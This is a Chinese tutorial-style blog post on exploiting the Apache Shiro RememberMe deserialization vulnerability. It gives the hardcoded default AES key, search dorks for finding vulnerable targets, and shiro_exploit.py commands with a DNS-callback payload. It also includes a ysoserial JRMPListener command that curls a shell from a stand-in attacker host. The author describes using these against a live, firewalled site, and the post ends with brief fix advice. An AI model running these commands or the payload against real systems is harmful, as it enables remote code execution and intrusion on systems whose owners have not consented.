Apache Shiro反序列化漏洞初学就深入研究+实战

                     Apache Shiro反序列化漏洞初学就深入研究+实战

  • 本人心得.

        这玩意儿咋说呢!话说在朝阳初升,春日暖阳缓缓升起的时候,在日常流量分析中发现了一个异常流量,经过与度娘私磨半晌才弄明白原来这个包是属于Apache Shiro框架,但历尽千辛万苦,使用已知网络上所有现有的工具都能检测到某网站存在该漏洞,可就是利用漏洞getshell的时候不成功,好苦恼!

  • Apache Shiro是啥呢?

       大家可自行百度、谷歌我想肯定比我说的明白清楚。

       Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。吐槽:话说该漏洞已经曝光几年,实战中仍然比较实用。花了点时间研究了下,并根据网络上的利用脚本进行检测攻击,企图不明。

  • Apache Shiro反序列漏洞是咋回事儿?

       在Apache Shiro框架中登陆页面存在"RememberMe"记住账号功能,在使用账号密码登陆成功后会生成经过加密并编码的cookie。cookie的key为Remember,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

       简单的来说在服务端接收cookie值时,会有:

  1. 检索RememberMe中cookie的值;
  2. 读出我们传出的cookie,进行base64解码;
  3. 然后在将解码后的值进行AES解密(加密密钥硬编码:);
//啥是硬编码呢?百度示例如下
//任何可访问该代码的人都能访问加密密钥。一旦应用程序发布,除非对程序进行修补,否则将无法更改加密密钥。雇员可以利用手中掌握的信息访问权限入侵系统。更糟糕的是,如果攻击者可以访问应用程序的可执行文件,就可以提取加密密钥值。
private static final String encryptionKey = "lakdsljkalkjlksdfkl"; byte[] keyBytes = encryptionKey.getBytes(); SecretKeySpec key = new SecretKeySpec(keyBytes, "AES"); Cipher encryptCipher = Cipher.getInstance("AES"); encryptCipher.init(Cipher.ENCRYPT_MODE, key);

     4.反序列化(并且存在一个预设秘Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”);)。

  • 初学+检测与利用.
  1. 漏洞利用条件。

       由于使用来aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为"kPH+bIxk5D2deZiIxcaaaA=="。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

       如何让获取密钥:官方目前已经更新了许多版本,但并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以大佬分享的github上已知密钥,站在巨人的肩膀上起飞就行了,稳得一匹。 

     2.如何检测与如何利用


      重点来了

     a.目标发现

     使用Wireshark、Fiddler、Burp Suite发现。本次实战中本人使用Burp Suite抓包工具中Shrio框架的特征是登录页面的cookie中存在remeberMe=deleteMe(失败时返回的值)的内容。通过该特征发现Shiro的系统有几种方式:

Apache Shiro反序列化漏洞初学就深入研究+实战_第1张图片

Apache Shiro反序列化漏洞初学就深入研究+实战_第2张图片

      使用空间搜索引擎fofa.so  shodan   zoomeye来发现目标。 

Apache Shiro反序列化漏洞初学就深入研究+实战_第3张图片

 

//这里列出搜索关键词或者文件路径:
//github搜索关键词:
securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode
//配置文件路径或者名
WEB-INF/shiro.ini
ShiroConfig.java
//google搜索
cookieRememberMeManager.setCipherKey

      b.漏洞检测 

漏洞检测会有很多的问题,在实战前建议大家可以自己搭建环境模拟一下,这样能少走不少的坑。

前提:需要python环境+jdk1.8以上

       使用工具检测KEY

Apache Shiro反序列化漏洞初学就深入研究+实战_第4张图片

       通过ceye.io平台,当然使用dnslog、burp等各位趁手的兵器即可,使用检测

       利用ysererial工具中的URLDNS这个Gadget,并结合dnslog平台实现入侵检测。突破利用则可以选择Gadget和参数,增强功能。

       详情请点击:https://github.com/insightglacier/Shiro_exploit

python2 shiro_exploit.py -u http://xx.xx.xx.xx/ -t 3 -p "ping -c 2 {xxxx.ceye.io}" -k "kPH + bIxk5D2deZiIxcaaaA =="

在执行时会获取ceye.io的域名替换 {xxxx.ceye.io}这个值。也可以直接使用python2 shiro_exploit.py -u http://xx.xx.xx.xx/ -t 3

Apache Shiro反序列化漏洞初学就深入研究+实战_第5张图片

Apache Shiro反序列化漏洞初学就深入研究+实战_第6张图片

       执行结果(实战过程中目标存在防火墙把ceye测试给拉黑了,所以用的dnslog,效果一样,存在解析就表示目的达成了):

Apache Shiro反序列化漏洞初学就深入研究+实战_第7张图片

 

因为目标系统存在防火墙,防护措施比较强,所以找了很多的

引用:

根据大牛的话,利用可以采用JRMP的方式。也可以根据检测出来的gadge来进行利用。

服务器:

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5'curl evilhost / shell –o shell'

本地:

python shiro_exploit.py -u http:// target / -t 2 -g JRMPClient -p“ remote_host:1099” -k“ kPH + bIxk5D2deZiIxcaaaA ==”

       工具使用过程产生的问题(这是确实淌过的坑,要不是遇到高人就放弃了): 

      1.python使用问题:

       运行时出现没有名为“ Crypto”的模块

      运行如下命令:

pip uninstall crypto pycryptodome
pip install pycryptodome

     python安装目录下的\ Lib \ site-packages,将加密文件夹的名字改成Crypto。

  • 修复建议.
  1. 不要使用硬编码,不要使用硬编码,不要使用硬编码。
  2. 升级shiro到1.2.5及以上
  3. 在配置里配置了密钥,请一定不要使用网上的密钥,一定不要!!请自己base64一个AES的密钥,或者利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
  • 向大佬Study study...

https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/#检测与利用

文中使用的工具请自行上github按要求检索,也可自行编写

你可能感兴趣的:(漏洞学习)